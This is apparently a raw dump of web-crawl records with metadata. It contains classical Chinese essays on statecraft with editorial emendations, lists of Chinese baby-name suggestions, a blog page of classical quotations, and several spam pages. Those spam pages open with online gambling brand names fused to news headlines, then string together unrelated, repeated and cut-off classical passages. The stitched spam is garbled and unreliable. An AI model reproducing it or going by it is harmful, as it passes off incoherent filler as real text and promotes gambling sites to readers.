。或逆而毁之。使不得用。或用而害之。使不得成。或成而譖之。使不得其所。吴起見毁於魏。李牧見殺於趙。樂毅見讒於燕。章邯畏誅於秦。斯又外臣所以爲危也。此舉梗槩耳。曲折纖妙。豈可得備論之哉。\n治本(舊無,補之)\n夫治國之本有二。刑也。德也。二者相須而行。相待而成矣。天以陰陽成歲。人以刑德成治。故雖聖人爲政。不能偏用也。故任德多。用刑少者。五帝也。刑德相半者。三王也。杖刑多。任德少者。五霸也。純用刑强而亡者。秦也。夫人君欲治者。既達專持刑德之柄矣。位必使當其德。禄必使當其功。官必使當其能。此三者。治亂之本也。位當其德。則賢者居上。不肖者居下。禄當其功。則有勞者勸。無勞者慕。未之有也(未之有也衍)。\n凡國無常治。亦無常亂。欲治者治。不欲治者亂。後之國土人民。亦前之有也。前之有。亦後之有也。而禹獨以安。幽。厲獨以危。斯不易天地。异人民。欲與不欲也。吴阪之馬。庸夫統銜則爲弊乘。伯樂執轡即爲良驥。非馬更异。教民亦然也。故遇禹。湯則爲良民。遭桀。紂則爲凶頑。治使然也。故善治國者。不尤斯民而罪諸己。不責諸下而求諸身。傳曰。禹。湯罪己。其興也勃焉。桀。紂罪人。其亡也忽焉。由是言之。長民治國之本在身。故詹何曰。未聞身治而國亂者也。若詹者。可謂知治本矣。\n政 務\n凡吏之於君。民之於吏。莫不聽其言而則其行。故爲政之務。務在正身。身正於此。而民應於彼。詩云。爾之教矣。民胥效矣。是以葉公問政。孔子對曰。子帥而正。孰敢不正。又曰。苟正其身。於從政乎何有。不能正其身。如正人何。故君子爲政。以正己爲先。教禁爲次。若君正於上。則吏不敢邪於下。吏正於下。則民不敢僻於野。國無傾君。朝無邪吏。野無僻民。而政之不善者。未之有也。凡政之務。務在節事。事節於上。則民有餘力於下。下有餘力。則無争訟之有乎民。民無争訟。則政無爲而治。教不言而行矣。\n節 欲\n夫人生而有情。情發而爲欲。物見於外。情動於中。物之感人也無窮。而情之所欲也無極。是物至而人化也。人化也者。滅天理矣。夫欲至無極。以尋難窮之物。雖有賢聖之姿。鮮不衰敗。故修身治國也。要莫大於節欲。傳曰。欲不可縱。歷觀有家有國。其得之也。莫不階於儉約。其失之也。莫不由於奢侈。儉者節欲。奢者放情。放情者危。節欲者安。\n堯、舜之居。土階三等。夏日衣葛。冬日鹿裘。禹卑宫室而菲飲食。此數帝者。非其情之不好。乃節儉之至也。故其所取民賦也薄。而使民力也寡。其育物也廣。而興利也厚。故家給人足。國積饒而群術也以(群術也以恐有脱文誤字)。仁義興而四海安。孔子曰。以約失之者鮮矣。\n且夫閉情無欲者上也。咈心消除者次之。昔帝舜藏黄金於嶄巖之山。抵珠玉於深川之底。及儀狄獻旨酒而禹甘之。於是疏遠儀狄。純(純當作絶)上旨酒。此能閉情於無欲者也。楚文王悦婦人而廢朝政。好獠獵而忘歸。於是放逐丹姬。斷殺如黄。及共王(莊王誤作共王)破陳而得夏姬。其豔(其豔當作豔其)國色。王納之宫。從巫臣之諫。壞後垣而出之。此能咈心消除之也。既不能閉情欲。能抑除之斯可矣。故舜禹之德。巍巍稱聖。楚文用朝鄰國。恭王終謚爲恭也。\n詳 刑\n夫刑辟之作。所從尚矣。聖人以治。亂人以亡。故古今帝王。莫不詳慎之者。以爲人命至重。壹死不生。一斷不屬故也。夫堯、舜之明。猶惟刑之恤也。是以後聖制法。設三槐九棘之吏。肺石嘉石之訊。然猶復三判。僉曰可殺。然後殺之。罰若有疑。即從其輕。此蓋詳慎之至也。故苟詳、則死者不恨。生者不忿。忿恨不作。則灾害不生。灾害不生。太平之治也。\n是以聖主用其刑也。詳而行之。必欲民犯之者寡。而畏之者衆。明刑至於無刑。善殺至於無殺。此之謂矣。夫暗亂之主。用刑彌繁。而犯之者益多。而殺之者彌衆。而慢之者尤甚者何。由用之不詳而行之不必也。不詳則罪不值。所罪不值則當死反生。不必則令有所虧。令有所虧則刑罰不齊矣。失此二者。雖日用五刑。而民猶輕犯之。故亂刑之刑。刑以生刑。惡殺之殺。殺以致殺。此之謂也。\n兵 要\n聖人之用兵也。將以利物。不以害物也。將以救亡。非以危存也。故不得已而用之耳。然以戰者危事。兵者凶器。不欲人之好用之。故制法遺後。命將出師。雖勝敵而反。猶以喪禮處之。明弗樂也。故曰。好戰者亡。忘戰者危。不好不忘。天下之王也。\n夫兵之要。在於修政。修政之要。在於得民心。得民心。在於利之。利之之要。在於仁以愛之。義以理之也。故六馬不和。造父不能以致遠。臣民不附。湯。武不能以立功。故兵之要在得衆者。善政之謂也。善政者恤民之患。除民之害也。故政善於内。兵强於外。\n歷觀古今用兵之敗。非鼓之日也。民心離散。素行豫敗也。用兵之勝。非陣之朝也。民心親附。素行豫勝也。故法天之道。履地之德。盡人之和。君臣輯穆。上下一心。盟誓不用。賞罰未施。消奸慝於未萌。折凶邪於殊俗。此帝者之兵也。德以爲卒。威以爲輔。修仁義之行。行愷悌之令。闢地殖穀。國富民豐。賞罰明。約誓信。民樂爲之死。將樂爲之亡。師不越境。旅不涉場。而敵人稽顙。此王者之兵也。\n辨 能\n夫商鞅。申。韓之徒。其能也。貴尚譎詐。務行苛剋。則伊尹。周。邵之罪人也。然其尊君卑臣。富國强兵。有可取焉。寧成。郅都輩。放商。韓之治。專以殘暴爲能。然其抑强撫弱。背私立公。尚有可取焉。其晚世之所謂能者。乃犯公家之法。赴私門之勢。廢百姓之務。趣人間之事。决煩理務。臨時苟辨。但使官無譴負之累。不省下民籲嗟之寃。復是申。韓。寧。郅之罪人也。而俗猶共言其能執政者。選用不廢者。何也。爲貴勢之所持。人間之士(士字似衍)所稱。聽聲用名者衆。察實審能者寡。故使能否之分不定也。\n夫定令長之能者。守相也。定守相之能者。州牧刺史也。然刺史之徒。未必能考論能否也。未必能端平也。或委任下吏。聽浮游之譽。或受其戚黨貴勢之托。其整頓(其整頓當作整頓其)傳舍。待望迎賓。聽其請謁。供其私求。則行道之人言其能也。\n治政以威嚴爲先。行事務邀時取辨。悕望上官之指。敬順監司之教。期會之命。無(無字恐衍)降身以接士之來。違法以供其求欲。人間之事無不循。言説之談無不用。則寄寓游行幅巾之士言其能也。有此三者爲之談。聽聲譽者之所以可惑。能否之所以不定也。\n尊 嫡\n凡光祖禰。安宗廟。傳國土。利民人者。在於立嗣繼世。繼世之道。莫重於尊嫡别庶也。故聖人之制禮貴嫡。异其服數。殊其寵秩。所以一群下之望。塞變争之路。杜邪防萌。深根固本之慮。歷觀前代後妻賤而姪媵貴。太子卑而庶子尊。莫不争亂以至危亡。是以周有子帶之難。齊有無知之禍。晋有莊伯之患。衞有州籲之篡。故傳曰。并後匹嫡。兩政耦國。亂之本也。\n諫 争\n夫諫争者。所以納君於道。矯枉正非。救上之謬也。上苟有謬而無救焉。則害於事。害於事。則危道也。故曰。危而不持。顛而不扶。則將焉用彼相。扶之之道。莫過於諫矣。故子從命者不得爲孝。臣苟順者不得爲忠。\n是以國之將興。貴在諫臣。家之將盛。貴在諫子。若托物以風喻。微生(生疑言)而不切。不切則不改。唯正諫直諫可以補缺也。詩云。衮職有缺。仲山甫補之。柔亦不茹。剛亦不吐。正諫者也。易曰。王臣謇謇。傳曰。愕愕者昌。直諫者也。\n然則咈人之耳。逆人之意。變人之情。抑人之欲。不爾。不爲諫也。雖有父子兄弟。猶用生怨隟焉。况臣於君。有天壤之殊。無親戚之屬。以至賤幹至貴。以至稀間至親。何庸易耶。惡死亡而樂生存。耻困辱而樂榮寵。雖甚愚人。猶知之也。况士君子乎。今正言直諫。則近死辱而遠榮寵。人情何好焉。此乃欲忠於主耳。夫不能諫則君危。固諫則身殆。賢人君子。不忍觀上之危而不愛身之殆。故蒙危辱之灾。逆人主之鱗。及罪而弗避者。忠也。義也。深思諫士之事。知進諫之難矣。\n决 壅\n夫人君爲左右所壅制 。此有目而無見。有耳而無聞。積無聞見。必至亂正。故國有壅臣。禍速近鄰。人臣之欲壅其主者。無國無之何也。利在於壅也。壅則擅寵於身。威權獨於己。此人臣日夜所禱祝面(面恐而字誤)求也。人臣之壅其君。微妙工巧。見壅之時。不知也。率至亡敗。然後悔焉。\n爲人君之務在於决壅。决壅之務在於進下。進下之道在於博聽。博聽之義。無貴賤同异。隸竪牧圉。皆得達焉。若此。則所聞見者廣。所聞見者廣。則雖欲求壅。弗得也。\n人主之好惡。不可見於外也。所好惡見於外。則臣妾乘其所好惡以行壅制 焉。故曰。人君無見其意。將爲下餌。昔晋公好色。驪女乘色以壅之。吴王好廣地。太宰陳伐以壅之。桓公好味。易牙烝首子以壅之。及薛公進美珥以勸立後。龍陽臨釣魚行微巧之詐。以壅制 其主。沉寞無端。甚可畏矣。古今亡國多矣。皆由壅蔽於帷幄之内。沉溺於諂諛之言也。而秦二世獨甚。趙高見二世好淫游之樂。遺於政。因曰。帝王貴有天下者。貴得縱欲恣意。尊嚴若神。固可得聞。而不可得睹。高遂專權欺内。二世見殺望夷。臨死。乃知見之禍(見之禍恐有誤字)。悔復無及。豈不哀哉。\n贊 象\n夫讃象之所作。所以昭述勛德。思咏政惠。此蓋詩頌之末流矣。宜由上而興。非專下而作也。世考之。導實(導實疑有誤字)有勛績。惠利加於百姓。遺愛留於民庶。宜請於國。當録於史官。載於竹帛。上章君將之德。下宣臣吏之忠。若言不足紀。事不足述。虚而爲盈。亡而爲有。此聖人之所疾。庶幾(庶幾疑有誤字)之所耻也。\n銘 誄\n夫渝世富貴。乘時要世。爵以賂至。官以賄成。視常侍黄門賓客。假其氣勢。以致公卿牧守。所在宰莅。無清惠之政。而有饕餮之害。爲臣無忠誠之行。而有奸欺之罪。背正向邪。附下内上。此乃繩墨之所加。流放之所弃。\n而門生故吏。合集財貨。刊石紀功。稱述勛德。高邈伊周。下陵管宴。遠追豹産。近逾黄邵。勢重者稱美。財富者文麗。後人相踵。稱以爲義。外若贊善。内爲己發。上下相效。競以爲榮。其流之弊。乃至於此。欺曜當時。疑誤後世。罪莫大焉。且夫賞生以爵禄。榮死以誄謚。是人主權柄。而漢世不禁。使私稱與王命争流。臣子與君上俱用。善惡無章。得失無效。豈不誤哉。\n序 作\n夫著作書論者。乃欲闡弘大道。述明聖教。推演事義。盡極情類。記是貶非。以爲法式。當時可行。後世可修。且古者富貴而名賤(賤疑姓)。廢滅不可勝記。唯篇(篇疑篤)論俶儻之人。爲不朽耳。夫奮名於百代之前。而流譽於千載之後。以其覽之者益。聞之者有覺故也。豈徒轉相放效。名作書論。浮辭談説而無損益哉。而世俗之人。不解作體。而務泛溢之言。不存有益之義。非也。故作者不尚其辭麗。而貴其存道也。不好其巧慧。而惡其傷義也。故夫小辯破道。狂簡之徒。斐然成文。皆聖人之所疾矣。","id":"","dump":"CC-MAIN-2017-17","url":"http:\/\/www.qunshuzhiyao.com\/zywenku\/zhgj0022081.html","date":"2017-04-24T03:25:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-17\/segments\/1492917118963.4\/warc\/CC-MAIN-20170423031158-00312-ip-10-145-167-34.ec2.internal.warc.gz","language":"lzh","language_score":0.4177043736,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.41770437359809875, \"cmn_Hani_score\": 0.3325302302837372, \"nan_Hani_score\": 0.05744059756398201, \"jpn_Jpan_score\": 0.05258442088961601, \"wuu_Hani_score\": 0.04362974315881729, \"yue_Hani_score\": 0.01784326322376728, \"zxx_Latn_score\": 0.01417254377156496}","num_words":84,"character_repetition_ratio":0.001,"word_repetition_ratio":0.0,"special_characters_ratio":0.18,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.418,"perplexity_score":500.0,"cluster_detection":1} +{"text":"提示:以下名字仅为在你起名时提供参考,请勿在未做分析的前提下直接使用。\n梁嫦青 梁泽成 梁丹天 梁依敏 梁建东 梁宾心 梁杰宁 梁睦 梁研研 梁琪琪 梁斯琪 梁心静 梁诗如 梁万安 梁嘉骏 梁爽爽 梁粉草 梁冬艺 梁雨涵 梁海欧 梁海洋 梁雨桐 梁雨彤 梁雨童 梁宛儿 梁雪儿 梁敏希 梁嘉俊 梁诗雨 梁诗瑜 梁哲田 梁毛毛 梁丝雨 梁斯雨 梁斯榆 梁斯瑜 梁炜仁 梁祖铭 梁炜泰 梁致铭 梁炜怀 梁炜学 梁哲钿 梁炜朋 梁嘉劲 梁鑫坏 梁炜杰 梁焱鑫 梁灵锗 梁耀毅 梁俊辉 梁贵翔 梁灵 梁继仁 梁剑铬 梁博超 梁金光 梁家旭 梁家鸣 梁贺龙 梁庆辉 梁剑心 梁耀源 梁锦亮 梁贺虎 梁家维 梁嘉瑜 梁炜钊 梁刚宁 梁顺翔 梁秀枝 梁桂宁 梁洪瑞 梁时宁 梁楚瑜 梁瑜楚 梁炳乾 梁恒楚 梁恒瑜 梁恒修 梁修洛 梁瑜洛 梁兴宇 梁朕 梁凌宇 梁泓宇 梁浩鹏 梁千骅 梁生根 梁焯 梁子来 梁心远 梁麟 梁搌 梁畅 梁子畅 梁子歌 梁劲歌 梁译豪 梁译亭 梁秀碧 梁佳杰 梁文译 梁译权 梁译名 梁胜杰 梁亚皓 梁译浩 梁朝阳 梁译皓 梁铭杰 梁炳杰 梁亚斌 梁炳粼 梁永粼 梁永粲 梁荀粲 梁晨怿 梁俊邦 梁培俊 梁焙俊 梁豪 梁子怿 梁俊粲 梁希粲 梁希杰 梁倬杰 梁佳怿 梁倬粲 梁常青 梁丁鸾 梁煜彬 梁海约 梁穗爱 梁秀凤 梁仲爱 梁申 梁智恩 梁有理 梁智哲 梁晓飞 梁卓然 梁皓泽 梁泽皓 梁凯程 梁俊皓 梁展翔 梁皓珏 梁粟珈 梁于籼 梁凤平 梁珏哲 梁哲 梁珏康 梁玉笙 梁靖浩 梁宇籼 梁焯宁 梁珏 梁珏笙 梁千宇 梁振竹 梁承禹 梁永栅 梁仙仙 梁茂仲 梁清枫 梁湘庭 梁德湘 梁冉云 梁秀华 梁耀骢 梁裕平 梁镔 梁宝方 梁镇 梁若然 梁智浩 梁国威 梁智海 梁艺宝 梁彭皓 梁裕斌 梁庆龙 梁新生 梁琛 梁陈 梁嘉钧 梁智滔 梁玉珠 梁效鸣 梁祯祝 梁芳源 梁轩 梁新星 梁嘉宝 梁小春 梁嫦清 梁帅笔 梁嘉臻 梁帝淋 梁有滢 梁慧媚 梁真洳 梁真渝 梁惠君 梁顺龙 梁洁影 梁影洳 梁依淋 梁瑷滢 梁瑷淋 梁纯汝 梁淳 梁学淳 梁育淳 梁嘉朕 梁育淋 梁育滢 梁育淇 梁海晨 梁学洳 梁学淋 梁狄 梁俊哲 梁嘉振 梁渝晨 梁玮淋 梁恫 梁娣 梁振 梁钰卜 梁钰人 梁钰于 梁钰旭 梁钰冶 梁慧君 梁钰沐 梁钰衍 梁钰珈 梁钰针 梁钰研 梁钰闲 梁钰淑 梁钰淇 梁钰渝 梁典 梁钰诚 梁钰荣 梁钰进 梁炜诚 梁钰静 梁钰徽 梁钰鹃 梁钰薇 梁钰耀 梁钰籍 梁钰艺 梁钰欢 梁钰兰 梁钰显 梁钰鑫 梁钰灏 梁钰骥 梁钰钻 梁艺永 梁艺充 梁惠媚 梁艺贤 梁晓喻 梁晓逾 梁晓愉 梁晓榆 梁晓语 梁晓瑜 梁晓羽 梁晓愈 梁艺晴 梁进 梁仕珈 梁仕沐 梁仕位 梁仕亘 梁仕 梁兴江 梁仕欠 梁仕淋 梁仕人 梁仕睿","id":"","dump":"CC-MAIN-2019-22","url":"http:\/\/scw12.cn\/show_46Q.aspx","date":"2019-05-24T17:56:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232257699.34\/warc\/CC-MAIN-20190524164533-20190524190533-00206.warc.gz","language":"lzh","language_score":0.9631300569,"language_script":"Hani","minhash_cluster_size":8,"top_langs":"{\"lzh_Hani_score\": 0.9631300568580627, \"nan_Hani_score\": 0.017619900405406952, \"cmn_Hani_score\": 0.01606658101081848}","num_words":290,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.25,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.964,"perplexity_score":500.0,"cluster_detection":1} +{"text":"提示:以下名字仅为在你起名时提供参考,请勿在未做分析的前提下直接使用。\n倪贤茜 倪贤芮 倪贤芷 倪贤昕 倪贤欣 倪恩 倪如君 倪敏雅 倪乙芷 倪夕多 倪献智 倪豆豆 倪睿智 倪清澜 倪君澜 倪泰 倪安泰 倪锡华 倪碧野 倪臻 倪清纯 倪清研 倪亚明 倪嘉芮 倪霄鹏 倪国超 倪嘉伦 倪渊 倪永祥 倪书曼 倪鸿笙 倪海虹 倪世平 倪敏熊 倪蔓 倪一敏 倪中安 倪咏 倪泳 倪晨 倪松 倪沪春 倪春兰 倪瀚波 倪瀚华 倪若澜 倪运钦 倪一荣 倪安群 倪群安 倪安民 倪雄 倪凤蔓 倪绵蔓 倪惠鑫 倪鑫惠 倪鑫晶 倪浩阳 倪灏阳 倪皓阳 倪熊一 倪融策 倪熊 倪融仑 倪融仁 倪融人 倪融剑 倪融融 倪融知 倪融通 倪融合 倪融世 倪剑世 倪见 倪融事 倪融是 倪融基 倪融铸 倪融智 倪融尖 倪融家 倪剑寒 倪融键 倪融坚 倪融兼 倪融歉 倪融謇 倪容见 倪融见 倪融涛 倪融韬 倪融滔 倪琛琛 倪新涛 倪淋晓 倪紫石 倪哓淋 倪淋杰 倪新杰 倪杰涛 倪隽杰 倪海杰 倪海淋 倪淋杉 倪淋涛 倪桂淋 倪淋 倪晨淋 倪辰淋 倪惠淋 倪慧淋 倪俊敏 倪紫岩 倪堡淋 倪振淋 倪洁木 倪洁佳 倪诞佳 倪诞钰 倪诞康 倪小雄 倪旭康 倪冠 倪钰康 倪钰慷 倪晨康 倪竹君 倪晓锋 倪方略 倪一海 倪海蛟 倪千水 倪绍仪 倪绍杰 倪春旺 倪绍棠 倪立宏 倪运华 倪永 倪子俊 倪榕泽 倪卫峰 倪佳琪 倪连福 倪诗琪 倪雁南 倪春雨 倪春钰 倪圣博 倪永泉 倪宜存 倪智恒 倪松珍 倪罗丹 倪佳意 倪华军 倪盛平 倪昭枝 倪献 倪屹轩 倪缢轩 倪晨欷 倪晨熙 倪晨觋 倪晨粞 倪晨晰 倪瑞轩 倪晨轩 倪一轩 倪晨皙 倪晨茜 倪灵 倪益轩 倪圣轩 倪瑞诗 倪卞殳 倪缨鹳 倪烨 倪骁骏 倪阿秀 倪泽润 倪德 倪舜心 倪舜新 倪舜欣 倪曹俊 倪卫生 倪富娣 倪卫森 倪清淑 倪茜 倪茜茜 倪一茜 倪子翰 倪子康 倪羽寰 倪子锦 倪子斌 倪语祺 倪旭东 倪子迪 倪伟凡 倪子狄 倪子杰 倪子赫 倪少雯 倪川 倪春 倪文钰 倪向礼 倪玉华 倪雪雅 倪姝 倪卫华 倪名轩 倪同轩 倪恺灏 倪泽轩 倪艾轩 倪爱轩 倪维华 倪睿轩 倪子润 倪子闰 倪子扉 倪小猫 倪子涪 倪子嫒 倪清洋 倪子妤 倪子琪 倪子雯 倪运泽 倪韵泽 倪卫良 倪诗韵 倪弈雯 倪清扬 倪亦雯 倪奕雯 倪子海 倪茂尊 倪启涵 倪荷女 倪翌函 倪建忠 倪楚君 倪昕潼 倪佳雯 倪轶雯 倪泽盛 倪卓芸 倪敏钰 倪钰枫 倪钰淑 倪璐璐 倪晓菲 倪家欢 倪水月 倪美月 倪羽黛 倪羽姬 倪彩姬 倪羽莲 倪雪姬 倪榕 倪杨洋 倪伟建 倪家俊 倪家荥 倪晗海 倪彬彬 倪晨熹 倪骏鸣 倪天志 倪润璋 倪润麒 倪润浩 倪润恺 倪润磊 倪润胜 倪润豪 倪崮盎 倪茵盎 倪婕妤 倪润羿 倪婉蔷 倪姚伊 倪亦兴 倪展言 倪蓬菲 倪永永 倪永坤","id":"","dump":"CC-MAIN-2019-26","url":"http:\/\/zgyjzz.cn\/show_461.aspx","date":"2019-06-16T11:02:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-26\/segments\/1560627998100.52\/warc\/CC-MAIN-20190616102719-20190616124719-00438.warc.gz","language":"lzh","language_score":0.4022083282,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.4022083282470703, \"nan_Hani_score\": 0.34182560443878174, \"cmn_Hani_score\": 0.07853421568870544, \"und_Cher_score\": 0.043904662132263184, \"und_Bali_score\": 0.03986957669258118, \"yue_Hani_score\": 0.03463532403111458, \"und_Cans_score\": 0.014038795605301857}","num_words":294,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.255,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.407,"perplexity_score":500.0,"cluster_detection":1} +{"text":"跳到主文\n部落格全站分類:社團組織\n易經:天行健 君子以自強不息\n修行大眾理看穿 休泥丹田與玄關 真性身中無定所 佛在心頭無影山\n孟子曰﹕ 萬物皆備於我,反身而誠,樂莫大焉。\n道德經第八若水章﹕居善地、心善淵、與善仁、 言善信、政善治、事善能、 動善時。\nboktakhk 發表在 痞客邦 留言(0) 人氣()","id":"","dump":"CC-MAIN-2019-47","url":"https:\/\/boktakhk.pixnet.net\/blog\/category\/1412375","date":"2019-11-11T22:08:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-47\/segments\/1573496664439.7\/warc\/CC-MAIN-20191111214811-20191112002811-00274.warc.gz","language":"lzh","language_score":0.4901521802,"language_script":"Hani","minhash_cluster_size":8,"top_langs":"{\"lzh_Hani_score\": 0.49015218019485474, \"cmn_Hani_score\": 0.34295016527175903, \"jpn_Jpan_score\": 0.06575742363929749, \"yue_Hani_score\": 0.03986487165093422, \"wuu_Hani_score\": 0.03275628760457039, \"nan_Hani_score\": 0.023678284138441086}","num_words":18,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.219,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.542,"perplexity_score":500.0,"cluster_detection":1} +{"text":"188bet体育银保监会受疫情影响车辆可适当延收车险保费\n子曰:\"岁寒,然后知松柏之后凋也。\"\n刓方以为圜兮,常度未替;易初本由兮,君子所鄙。章画职墨兮,前度未改;内直质重兮,大人所盛。巧匠不斫兮,孰察其揆正?玄文幽处兮,矇谓之不章;离娄微睇兮,瞽以为无明。变白而为黑兮,倒上以为下。凤皇在笯兮,鸡雉翔舞。同糅玉石兮,一而相量。夫党人之鄙妒兮,羌不知吾所臧。任重载盛兮,陷滞而不济;怀瑾握瑜兮,穷不得余所示。邑犬群吠兮,吠所怪也;诽骏疑桀兮,固庸态也。文质疏内兮,众不知吾之异采;材朴委积兮,莫知余之所有。重仁袭义兮,谨厚以为丰;重华不可牾兮,孰知余之从容!古固有不并兮,岂知其故也?汤禹久远兮,邈不可慕也。惩违改忿兮,抑心而自彊;离湣而不迁兮,原志之有象。进路北次兮,日昧昧其将暮;含忧虞哀兮,限之以大故。\n秦王乃除逐客之令,复李斯官,卒用其计谋。官至廷尉。二十馀年,竟并天下,尊主为皇帝,以斯为丞相。夷郡县城,销其兵刃,示不复用。使秦无尺土之封,不立子弟为王,功臣为诸侯者,使後无战攻之患。\n春申君相十四年,秦庄襄王立,以吕不韦为相,封为文信侯。取东周。\n子曰:\"笃信好学,守死善道。危邦不入,乱邦不居。天下有道则见,无道则隐。邦有道,贫且贱焉,耻也;邦无道,富且贵焉,耻也。\"","id":"","dump":"CC-MAIN-2020-10","url":"http:\/\/hmyld.thershow.com\/JDYRG43759.html","date":"2020-02-28T04:56:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875147054.34\/warc\/CC-MAIN-20200228043124-20200228073124-00198.warc.gz","language":"lzh","language_score":0.6012362838,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.6012362837791443, \"cmn_Hani_score\": 0.24142388999462128, \"nan_Hani_score\": 0.08051188290119171, \"wuu_Hani_score\": 0.021144822239875793, \"yue_Hani_score\": 0.011850443668663502, \"jpn_Jpan_score\": 0.011711504310369492}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.185,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.495,"perplexity_score":500.0,"cluster_detection":1} +{"text":"黄金城棋牌日本经济再次陷负增长\n广居右北平,匈奴闻之,号曰\"汉之飞将军\",避之数岁,不敢入右北平。\n星者,金之散气,本曰火。星众,国吉;少则凶。\n留侯张良者,其先韩人也。大父开地,相韩昭侯、宣惠王、襄哀王。父平,相釐王、悼惠王。悼惠王二十三年,平卒。卒二十岁,秦灭韩。良年少,未宦事韩。韩破,良家僮三百人,弟死不葬,悉以家财求客刺秦王,为韩报仇,以大父、父五世相韩故。\n刓方以为圜兮,常度未替;易初本由兮,君子所鄙。章画职墨兮,前度未改;内直质重兮,大人所盛。巧匠不斫兮,孰察其揆正?玄文幽处兮,矇谓之不章;离娄微睇兮,瞽以为无明。变白而为黑兮,倒上以为下。凤皇在笯兮,鸡雉翔舞。同糅玉石兮,一而相量。夫党人之鄙妒兮,羌不知吾所臧。任重载盛兮,陷滞而不济;怀瑾握瑜兮,穷不得余所示。邑犬群吠兮,吠所怪也;诽骏疑桀兮,固庸态也。文质疏内兮,众不知吾之异采;材朴委积兮,莫知余之所有。重仁袭义兮,谨厚以为丰;重华不可牾兮,孰知余之从容!古固有不并兮,岂知其故也?汤禹久远兮,邈不可慕也。惩违改忿兮,抑心而自彊;离湣而不迁兮,原志之有象。进路北次兮,日昧昧其将暮;含忧虞哀兮,限之以大故。\n高后时,卢绾妻子亡降汉,会高后病,不能见,舍燕邸,为欲置酒见之。高祖竟崩,不得见。卢绾妻亦病死。","id":"","dump":"CC-MAIN-2020-10","url":"http:\/\/mqfqm.rndc99.com\/LLAMA14236.html","date":"2020-02-20T17:45:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875145260.40\/warc\/CC-MAIN-20200220162309-20200220192309-00044.warc.gz","language":"lzh","language_score":0.5324851274,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5324851274490356, \"cmn_Hani_score\": 0.32801368832588196, \"nan_Hani_score\": 0.06774123013019562, \"wuu_Hani_score\": 0.01734650507569313, \"yue_Hani_score\": 0.012568085454404354, \"jpn_Jpan_score\": 0.011482453905045986}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.187,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.689,"perplexity_score":500.0,"cluster_detection":1} +{"text":"皇冠体育和im体育基金公司有多赚钱碾压90A股赶超上市银行\n任不齐字选。\n昔自在古,历建正作於孟春。於时冰泮发蛰,百草奋兴,秭鳺先滜。物乃岁具,生於东,次顺四时,卒于冬分。时鸡三号\n刓方以为圜兮,常度未替;易初本由兮,君子所鄙。章画职墨兮,前度未改;内直质重兮,大人所盛。巧匠不斫兮,孰察其揆正?玄文幽处兮,矇谓之不章;离娄微睇兮,瞽以为无明。变白而为黑兮,倒上以为下。凤皇在笯兮,鸡雉翔舞。同糅玉石兮,一而相量。夫党人之鄙妒兮,羌不知吾所臧。任重载盛兮,陷滞而不济;怀瑾握瑜兮,穷不得余所示。邑犬群吠兮,吠所怪也;诽骏疑桀兮,固庸态也。文质疏内兮,众不知吾之异采;材朴委积兮,莫知余之所有。重仁袭义兮,谨厚以为丰;重华不可牾兮,孰知余之从容!古固有不并兮,岂知其故也?汤禹久远兮,邈不可慕也。惩违改忿兮,抑心而自彊;离湣而不迁兮,原志之有\n七国反书闻天子,天子乃遣太尉条侯周亚夫将三十六将军,往击吴楚;遣曲周侯郦寄击赵;将军栾布击齐;大将军窦婴屯荥阳,监齐赵兵。\n四月丙申,奏未央宫。\"太仆臣贺行御史大夫事昧死言:太常臣充言卜入四月二十八日乙巳,可立诸侯王。臣昧死奏舆地图,请所立国名。礼仪别奏。臣昧死请。\"","id":"","dump":"CC-MAIN-2020-16","url":"http:\/\/xpnmx.g-97.com\/ztddl\/351028.html","date":"2020-03-30T13:56:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585370497042.33\/warc\/CC-MAIN-20200330120036-20200330150036-00395.warc.gz","language":"lzh","language_score":0.4442698658,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.4442698657512665, \"cmn_Hani_score\": 0.22674983739852905, \"nan_Hani_score\": 0.11091957986354828, \"und_Tang_score\": 0.029062435030937195, \"und_Yiii_score\": 0.01662258431315422, \"jpn_Jpan_score\": 0.01617865450680256, \"wuu_Hani_score\": 0.013843800872564316, \"zxx_Latn_score\": 0.011985616758465767, \"yue_Hani_score\": 0.01014094427227974}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.164,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.468,"perplexity_score":500.0,"cluster_detection":1} +{"text":"提示:以下名字仅为在你起名时提供参考,请勿在未做分析的前提下直接使用。\n虞启荣 虞斐 虞精精 虞渫渫 虞翔翔 虞渫雨 虞漫雨 虞思雨 虞湿雨 虞建潭 虞凤宝 虞选讲 虞晓静 虞瑞安 虞瑞莆 虞子榕 虞子瑞 虞子蛟 虞马瑞 虞睿智 虞睿哲 虞启瑞 虞骏杰 虞竣杰 虞峻杰 虞军杰 虞路原 虞圣 虞升 虞胜 虞赢 虞器 虞期 虞飘扬 虞习 虞总 虞欢喜 虞丰 